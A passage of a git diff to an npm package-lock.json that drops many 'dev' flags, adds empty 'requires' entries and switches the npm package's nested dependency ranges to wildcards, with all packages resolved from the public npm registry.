"sha512-INJYZQJP7g+IoDUh/475NlGiTeMfwTXUEr3tmRneckHIxNolGOW9CTq83S8cxq0CgJwwcMzMJFchxvlwe7Rk8Q==", + "requires": {} }, "@restart/hooks": { "version": "0.3.27", @@ -2818,7 +21016,6 @@ "version": "7.28.0", "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.28.0.tgz", "integrity": "sha512-07XlgzX0YJUn4iG1ocY4IX9DzKSmMGUs6ESKlxWhZRaa0fatIWaHWUVapcuGa8r5HFnTqzj+4OCjd5f7EZ/i/A==", - "dev": true, "requires": { "@types/estree": "*", "@types/json-schema": "*" @@ -2828,7 +21025,6 @@ "version": "3.7.1", "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.1.tgz", "integrity": "sha512-SCFeogqiptms4Fg29WpOTk5nHIzfpKCemSN63ksBQYKTcXoJEmJagV+DhVmbapZzY4/5YaOV1nZwrsU79fFm1g==", - "dev": true, "requires": { "@types/eslint": "*", "@types/estree": "*" @@ -2837,8 +21033,7 @@ "@types/estree": { "version": "0.0.50", "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.50.tgz", - "integrity": "sha512-C6N5s2ZFtuZRj54k2/zyRhNDjJwwcViAM3Nbm8zjBpbqAdZ00mr0CFxvSKeO8Y/e03WVFLpQMdHYVfUd6SB+Hw==", - "dev": true + "integrity": "sha512-C6N5s2ZFtuZRj54k2/zyRhNDjJwwcViAM3Nbm8zjBpbqAdZ00mr0CFxvSKeO8Y/e03WVFLpQMdHYVfUd6SB+Hw==" }, "@types/history": { "version": "4.7.9", @@ -2931,8 +21126,7 @@ "@types/node": { "version": "14.17.21", "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.21.tgz", - "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==", - "dev": true + "integrity": "sha512-zv8ukKci1mrILYiQOwGSV4FpkZhyxQtuFWGya2GujWg+zVAeRQ4qbaMmWp9vb9889CFA8JECH7lkwCL6Ygg8kA==" }, "@types/normalize-package-data": { "version": "2.4.1", @@ -3052,7 +21246,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.1.tgz", "integrity": "sha512-ukBh14qFLjxTQNTXocdyksN5QdM28S1CxHt2rdskFyL+xFV7VremuBLVbmCePj+URalXBENx/9Lm7lnhihtCSw==", - "dev": true, "requires": { "@webassemblyjs/helper-numbers": "1.11.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.1" @@ -3061,26 +21254,22 @@ "@webassemblyjs/floating-point-hex-parser": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.1.tgz", - "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==", - "dev": true + "integrity": "sha512-iGRfyc5Bq+NnNuX8b5hwBrRjzf0ocrJPI6GWFodBFzmFnyvrQ83SHKhmilCU/8Jv67i4GJZBMhEzltxzcNagtQ==" }, "@webassemblyjs/helper-api-error": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.1.tgz", - "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==", - "dev": true + "integrity": "sha512-RlhS8CBCXfRUR/cwo2ho9bkheSXG0+NwooXcc3PAILALf2QLdFyj7KGsKRbVc95hZnhnERon4kW/D3SZpp6Tcg==" }, "@webassemblyjs/helper-buffer": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.1.tgz", - "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==", - "dev": true + "integrity": "sha512-gwikF65aDNeeXa8JxXa2BAk+REjSyhrNC9ZwdT0f8jc4dQQeDQ7G4m0f2QCLPJiMTTO6wfDmRmj/pW0PsUvIcA==" }, "@webassemblyjs/helper-numbers": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.1.tgz", "integrity": "sha512-vDkbxiB8zfnPdNK9Rajcey5C0w+QJugEglN0of+kmO8l7lDb77AnlKYQF7aarZuCrv+l0UvqL+68gSDr3k9LPQ==", - "dev": true, "requires": { "@webassemblyjs/floating-point-hex-parser": "1.11.1", "@webassemblyjs/helper-api-error": "1.11.1", @@ -3090,14 +21279,12 @@ "@webassemblyjs/helper-wasm-bytecode": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.1.tgz", - "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==", - "dev": true + "integrity": "sha512-PvpoOGiJwXeTrSf/qfudJhwlvDQxFgelbMqtq52WWiXC6Xgg1IREdngmPN3bs4RoO83PnL/nFrxucXj1+BX62Q==" }, "@webassemblyjs/helper-wasm-section": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.1.tgz", "integrity": "sha512-10P9No29rYX1j7F3EVPX3JvGPQPae+AomuSTPiF9eBQeChHI6iqjMIwR9JmOJXwpnn/oVGDk7I5IlskuMwU/pg==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-buffer": "1.11.1", @@ -3109,7 +21296,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.1.tgz", "integrity": "sha512-hJ87QIPtAMKbFq6CGTkZYJivEwZDbQUgYd3qKSadTNOhVY7p+gfP6Sr0lLRVTaG1JjFj+r3YchoqRYxNH3M0GQ==", - "dev": true, "requires": { "@xtuc/ieee754": "^1.2.0" } @@ -3118,7 +21304,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.1.tgz", "integrity": "sha512-BJ2P0hNZ0u+Th1YZXJpzW6miwqQUGcIHT1G/sf72gLVD9DZ5AdYTqPNbHZh6K1M5VmKvFXwGSWZADz+qBWxeRw==", - "dev": true, "requires": { "@xtuc/long": "4.2.2" } @@ -3126,14 +21311,12 @@ "@webassemblyjs/utf8": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.1.tgz", - "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==", - "dev": true + "integrity": "sha512-9kqcxAEdMhiwQkHpkNiorZzqpGrodQQ2IGrHHxCy+Ozng0ofyMA0lTqiLkVs1uzTRejX+/O0EOT7KxqVPuXosQ==" }, "@webassemblyjs/wasm-edit": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.1.tgz", "integrity": "sha512-g+RsupUC1aTHfR8CDgnsVRVZFJqdkFHpsHMfJuWQzWU3tvnLC07UqHICfP+4XyL2tnr1amvl1Sdp06TnYCmVkA==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-buffer": "1.11.1", @@ -3149,7 +21332,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.1.tgz", "integrity": "sha512-F7QqKXwwNlMmsulj6+O7r4mmtAlCWfO/0HdgOxSklZfQcDu0TpLiD1mRt/zF25Bk59FIjEuGAIyn5ei4yMfLhA==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-wasm-bytecode": "1.11.1", @@ -3162,7 +21344,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.1.tgz", "integrity": "sha512-VqnkNqnZlU5EB64pp1l7hdm3hmQw7Vgqa0KF/KCNO9sIpI6Fk6brDEiX+iCOYrvMuBWDws0NkTOxYEb85XQHHw==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-buffer": "1.11.1", @@ -3174,7 +21355,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.1.tgz", "integrity": "sha512-rrBujw+dJu32gYB7/Lup6UhdkPx9S9SnobZzRVL7VcBH9Bt9bCBLEuX/YXOOtBsOZ4NQrRykKhffRWHvigQvOA==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@webassemblyjs/helper-api-error": "1.11.1", @@ -3188,7 +21368,6 @@ "version": "1.11.1", "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.1.tgz", "integrity": "sha512-IQboUWM4eKzWW+N/jij2sRatKMh99QEelo3Eb2q0qXkvPRISAj8Qxtmw5itwqK+TTkBuUIE45AxYPToqPtL5gg==", - "dev": true, "requires": { "@webassemblyjs/ast": "1.11.1", "@xtuc/long": "4.2.2" @@ -3198,7 +21377,8 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-1.1.0.tgz", "integrity": "sha512-ttOkEkoalEHa7RaFYpM0ErK1xc4twg3Am9hfHhL7MVqlHebnkYd2wuI/ZqTDj0cVzZho6PdinY0phFZV3O0Mzg==", - "dev": true + "dev": true, + "requires": {} }, "@webpack-cli/info": { "version": "1.4.0", @@ -3213,19 +21393,18 @@ "version": "1.6.0", "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-1.6.0.tgz", "integrity": "sha512-ZkVeqEmRpBV2GHvjjUZqEai2PpUbuq8Bqd//vEYsp63J8WyexI8ppCqVS3Zs0QADf6aWuPdU+0XsPI647PVlQA==", - "dev": true + "dev": true, + "requires": {} }, "@xtuc/ieee754": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", - "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", - "dev": true + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==" }, "@xtuc/long": { "version": "4.2.2", "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", - "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", - "dev": true + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==" }, "abab": { "version": "2.0.5", @@ -3245,20 +21424,20 @@ "acorn": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.2.0.tgz", - "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==", - "dev": true + "integrity": "sha512-apwXVmYVpQ34m/i71vrApRrRKCWQnZZF1+npOD0WV5xZFfwWOmKGQ2RWlfdy9vWITsenisM8M0Qeq8agcFHNiQ==" }, "acorn-import-assertions": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.8.0.tgz", "integrity": "sha512-m7VZ3jwz4eK6A4Vtt8Ew1/mNbP24u0FhdyfA7fSvnJR6LMdfOYnmuIrrJAgrYfYJ10F/otaHTtrtrtmHdMNzEw==", - "dev": true + "requires": {} }, "acorn-jsx": { "version": "5.2.0", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.2.0.tgz", "integrity": "sha512-HiUX/+K2YpkpJ+SzBffkM/AQ2YE03S0U1kjTLVpoJdhZMOWy8qvXVN9JdLqv2QsaQ6MPYQIuNmwD8zOiYUofLQ==", - "dev": true + "dev": true, + "requires": {} }, "aggregate-error": { "version": "3.1.0", @@ -3285,13 +21464,15 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz", "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==", - "dev": true + "dev": true, + "requires": {} }, "ajv-keywords": { "version": "3.4.1", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.1.tgz", "integrity": "sha512-RO1ibKvd27e6FEShVFfPALuHI3WjSVNeK5FIsmme/LYRNxjKuNj+Dt7bucLa6NdSv3JcVTyMlm9kGR84z1XpaQ==", - "dev": true + "dev": true, + "requires": {} }, "ansi-escapes": { "version": "4.3.1", @@ -3686,7 +21867,8 @@ "bootstrap": { "version": "4.6.0", "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.6.0.tgz", - "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==" + "integrity": "sha512-Io55IuQY3kydzHtbGvQya3H+KorS/M9rSNyfCGCg9WZ4pyT/lCxIlpJgG1GXW/PswzC84Tr2fBYi+7+jFVQQBw==", + "requires": {} }, "brace-expansion": { "version": "1.1.11", @@ -3711,7 +21893,6 @@ "version": "4.17.3", "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.17.3.tgz", "integrity": "sha512-59IqHJV5VGdcJZ+GZ2hU5n4Kv3YiASzW6Xk5g9tf5a/MAzGeFwgGWU39fVzNIOVcgB3+Gp+kiQu0HEfTVU/3VQ==", - "dev": true, "requires": { "caniuse-lite": "^1.0.30001264", "electron-to-chromium": "^1.3.857", @@ -3732,8 +21913,7 @@ "buffer-from": { "version": "1.1.2", "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz", - "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==", - "dev": true + "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==" }, "buffer-indexof": { "version": "1.1.1", @@ -3792,8 +21972,7 @@ "caniuse-lite": { "version": "1.0.30001265", "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001265.tgz", - "integrity": "sha512-YzBnspggWV5hep1m9Z6sZVLOt7vrju8xWooFAgN6BA5qvy98qPAPb7vNUzypFaoh2pb3vlfzbDO8tB57UPGbtw==", - "dev": true + "integrity": "sha512-YzBnspggWV5hep1m9Z6sZVLOt7vrju8xWooFAgN6BA5qvy98qPAPb7vNUzypFaoh2pb3vlfzbDO8tB57UPGbtw==" }, "chalk": { "version": "2.4.2", @@ -3848,8 +22027,7 @@ "chrome-trace-event": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz", - "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==", - "dev": true + "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==" }, "classnames": { "version": "2.3.1", @@ -4315,7 +22493,8 @@ "version": "3.5.2", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", - "dev": true + "dev": true, + "requires": {} }, "camelcase": { "version": "5.3.1", @@ -5000,8 +23179,7 @@ "electron-to-chromium": { "version": "1.3.862", "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.862.tgz", - "integrity": "sha512-o+FMbCD+hAUJ9S8bfz/FaqA0gE8OpCCm58KhhGogOEqiA1BLFSoVYLi+tW+S/ZavnqBn++n0XZm7HQiBVPs8Jg==", - "dev": true + "integrity": "sha512-o+FMbCD+hAUJ9S8bfz/FaqA0gE8OpCCm58KhhGogOEqiA1BLFSoVYLi+tW+S/ZavnqBn++n0XZm7HQiBVPs8Jg==" }, "element-resize-event": { "version": "2.0.9", @@ -5104,8 +23282,7 @@ "es-module-lexer": { "version": "0.9.3", "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-0.9.3.tgz", - "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==", - "dev": true + "integrity": "sha512-1HQ2M2sPtxwnvOvT1ZClHyQDiggdNjURWpY2we6aMKCQiUVxTmVs2UYPLIrD84sS+kMdUwfBSylbJPwNnBrnHQ==" }, "es-to-primitive": { "version": "1.2.1", @@ -5131,8 +23308,7 @@ "escalade": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", - "dev": true + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==" }, "escape-html": { "version": "1.0.3", @@ -5497,8 +23673,7 @@ "estraverse": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", - "dev": true + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==" }, "esutils": { "version": "2.0.3", @@ -5521,8 +23696,7 @@ "events": { "version": "3.3.0", "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", - "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==", - "dev": true + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" }, "execa": { "version": "5.1.1", @@ -6100,8 +24274,7 @@ "glob-to-regexp": { "version": "0.4.1", "resolved": "https://registry.npmjs.org/glob-to-regexp/-/glob-to-regexp-0.4.1.tgz", - "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==", - "dev": true + "integrity": "sha512-lkX1HJXwyMcprw/5YUZc2s7DrpAiHB21/V+E1rHUrVNokkvB6bqMzT0VfV6/86ZNabt1k14YOIaT7nDvOX3Iiw==" }, "global": { "version": "4.4.0", @@ -6184,8 +24357,7 @@ "graceful-fs": { "version": "4.2.4", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.4.tgz", - "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==", - "dev": true + "integrity": "sha512-WjKPNJF79dtJAVniUlGGWHYGz2jWxT6VhN/4m1NdkbZ2nOsEF+cI1Edgql5zCRhs/VsQYRvrXctxktVXZUkixw==" }, "handle-thing": { "version": "2.0.1", @@ -7166,7 +25338,6 @@ "version": "27.2.4", "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-27.2.4.tgz", "integrity": "sha512-Zq9A2Pw59KkVjBBKD1i3iE2e22oSjXhUKKuAK1HGX8flGwkm6NMozyEYzKd41hXc64dbd/0eWFeEEuxqXyhM+g==", - "dev": true, "requires": { "@types/node": "*", "merge-stream": "^2.0.0", @@ -7176,14 +25347,12 @@ "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", - "dev": true + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", - "dev": true, "requires": { "has-flag": "^4.0.0" } @@ -7214,8 +25383,7 @@ "json-parse-better-errors": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/json-parse-better-errors/-/json-parse-better-errors-1.0.2.tgz", - "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==", - "dev": true + "integrity": "sha512-mrqyZKfX5EhL7hvqcV6WG1yYjnjeuYDzDhhcAAUrq8Po85NBQBJP+ZDUT75qZQ98IkUoBqdkExkukOU7Ts2wrw==" }, "json-parse-even-better-errors": { "version": "2.3.1", @@ -7380,8 +25548,7 @@ "loader-runner": { "version": "4.2.0", "resolved": "https://registry.npmjs.org/loader-runner/-/loader-runner-4.2.0.tgz", - "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==", - "dev": true + "integrity": "sha512-92+huvxMvYlMzMt0iIOukcwYBFpkYJdpl2xsZ7LrlayO7E8SOv+JJUEK17B/dJIHAOLMfh2dZZ/Y18WgmGtYNw==" }, "loader-utils": { "version": "1.4.0", @@ -7695,8 +25862,7 @@ "merge-stream": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/merge-stream/-/merge-stream-2.0.0.tgz", - "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==", - "dev": true + "integrity": "sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w==" }, "merge2": { "version": "1.4.1", @@ -7739,14 +25905,12 @@ "mime-db": { "version": "1.50.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.50.0.tgz", - "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==", - "dev": true + "integrity": "sha512-9tMZCDlYHqeERXEHO9f/hKfNXhre5dK2eE/krIvUjZbS2KPcqGDfNShIWS1uW9XOTKQKqK6qbeOci18rbfW77A==" }, "mime-types": { "version": "2.1.33", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.33.tgz", "integrity": "sha512-plLElXp7pRDd0bNZHw+nMd52vRYjLwQjygaNg7ddJ2uJtTlmnTCjWuPKxVu6//AdaRuME84SvLW91sIkBqGT0g==", - "dev": true, "requires": { "mime-db": "1.50.0" } @@ -7935,8 +26099,7 @@ "node-releases": { "version": "1.1.77", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.77.tgz", - "integrity": "sha512-rB1DUFUNAN4Gn9keO2K1efO35IDK7yKHCdCaIMvFO7yUYmmZYeDjnGKle26G4rwj+LKRQpjyUUvMkPglwGCYNQ==", - "dev": true + "integrity": "sha512-rB1DUFUNAN4Gn9keO2K1efO35IDK7yKHCdCaIMvFO7yUYmmZYeDjnGKle26G4rwj+LKRQpjyUUvMkPglwGCYNQ==" }, "noms": { "version": "0.0.0", @@ -8026,76 +26189,76 @@ "integrity": "sha512-120p116CE8VMMZ+hk8IAb1inCPk4Dj3VZw29/n2g6UI77urJKVYb7FZUDW8hY+EBnfsjI/2yrobBgFyzo7YpVQ==", "dev": true, "requires": { - "@isaacs/string-locale-compare": "^1.1.0", - "@npmcli/arborist": "^2.9.0", - "@npmcli/ci-detect": "^1.2.0", - "@npmcli/config": "^2.3.0", - "@npmcli/map-workspaces": "^1.0.4", - "@npmcli/package-json": "^1.0.1", - "@npmcli/run-script": "^1.8.6", - "abbrev": "~1.1.1", - "ansicolors": "~0.3.2", - "ansistyles": "~0.1.3", - "archy": "~1.0.0", - "cacache": "^15.3.0", - "chalk": "^4.1.2", - "chownr": "^2.0.0", - "cli-columns": "^3.1.2", - "cli-table3": "^0.6.0", - "columnify": "~1.5.4", - "fastest-levenshtein": "^1.0.12", - "glob": "^7.2.0", - "graceful-fs": "^4.2.8", - "hosted-git-info": "^4.0.2", - "ini": "^2.0.0", - "init-package-json": "^2.0.5", - "is-cidr": "^4.0.2", - "json-parse-even-better-errors": "^2.3.1", - "libnpmaccess": "^4.0.2", - "libnpmdiff": "^2.0.4", - "libnpmexec": "^2.0.1", - "libnpmfund": "^1.1.0", - "libnpmhook": "^6.0.2", - "libnpmorg": "^2.0.2", - "libnpmpack": "^2.0.1", - "libnpmpublish": "^4.0.1", - "libnpmsearch": "^3.1.1", - "libnpmteam": "^2.0.3", - "libnpmversion": "^1.2.1", - "make-fetch-happen": "^9.1.0", - "minipass": "^3.1.3", - "minipass-pipeline": "^1.2.4", - "mkdirp": "^1.0.4", - "mkdirp-infer-owner": "^2.0.0", - "ms": "^2.1.2", - "node-gyp": "^7.1.2", - "nopt": "^5.0.0", - "npm-audit-report": "^2.1.5", - "npm-install-checks": "^4.0.0", - "npm-package-arg": "^8.1.5", - "npm-pick-manifest": "^6.1.1", - "npm-profile": "^5.0.3", - "npm-registry-fetch": "^11.0.0", - "npm-user-validate": "^1.0.1", - "npmlog": "^5.0.1", - "opener": "^1.5.2", - "pacote": "^11.3.5", - "parse-conflict-json": "^1.1.1", - "qrcode-terminal": "^0.12.0", - "read": "~1.0.7", - "read-package-json": "^4.1.1", - "read-package-json-fast": "^2.0.3", - "readdir-scoped-modules": "^1.1.0", - "rimraf": "^3.0.2", - "semver": "^7.3.5", - "ssri": "^8.0.1", - "tar": "^6.1.11", - "text-table": "~0.2.0", - "tiny-relative-date": "^1.3.0", - "treeverse": "^1.0.4", - "validate-npm-package-name": "~3.0.0", - "which": "^2.0.2", - "write-file-atomic": "^3.0.3" + "@isaacs/string-locale-compare": "*", + "@npmcli/arborist": "*", + "@npmcli/ci-detect": "*", + "@npmcli/config": "*", + "@npmcli/map-workspaces": "*", + "@npmcli/package-json": "*", + "@npmcli/run-script": "*", + "abbrev": "*", + "ansicolors": "*", + "ansistyles": "*", + "archy": "*", + "cacache": "*", + "chalk": "*", + "chownr": "*", + "cli-columns": "*", + "cli-table3": "*", + "columnify": "*", + "fastest-levenshtein": "*", + "glob": "*", + "graceful-fs": "*", + "hosted-git-info": "*", + "ini": "*", + "init-package-json": "*", + "is-cidr": "*", + "json-parse-even-better-errors": "*", + "libnpmaccess": "*", + "libnpmdiff": "*", + "libnpmexec": "*", + "libnpmfund": "*", + "libnpmhook": "*", + "libnpmorg": "*", + "libnpmpack": "*", + "libnpmpublish": "*", + "libnpmsearch": "*", + "libnpmteam": "*", + "libnpmversion": "*", + "make-fetch-happen": "*", + "minipass": "*", + "minipass-pipeline": "*", + "mkdirp": "*", + "mkdirp-infer-owner": "*", + "ms": "*", + "node-gyp": "*", + "nopt": "*", + "npm-audit-report": "*", + "npm-install-checks": "*", + "npm-package-arg": "*", + "npm-pick-manifest": "*", + "npm-profile": "*", + "npm-registry-fetch": "*", + "npm-user-validate": "*", + "npmlog": "*", + "opener": "*", + "pacote": "*", + "parse-conflict-json": "*", + "qrcode-terminal": "*", + "read": "*", + "read-package-json": "*", + "read-package-json-fast": "*", + "readdir-scoped-modules": "*", + "rimraf": "*", + "semver": "*", + "ssri": "*", + "tar": "*", + "text-table": "*", + "tiny-relative-date": "*", + "treeverse": "*", + "validate-npm-package-name": "*", + "which": "*", + "write-file-atomic": "*" }, "dependencies": { "@gar/promisify": { @@ -9893,6 +28056,14 @@ "minipass": "^3.1.1" } }, + "string_decoder": { + "version": "1.3.0", + 